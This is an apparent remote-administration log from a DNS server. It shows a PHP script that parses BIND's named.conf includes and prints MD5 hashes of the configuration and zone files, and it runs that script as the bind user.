MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-19 11:24:27: Establishing a connection
2026-06-19 11:24:28: 

PUT: /tmp/pkp561608

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-19 11:24:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp561608; rm /tmp/pkp561608'

2026-06-19 11:24:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
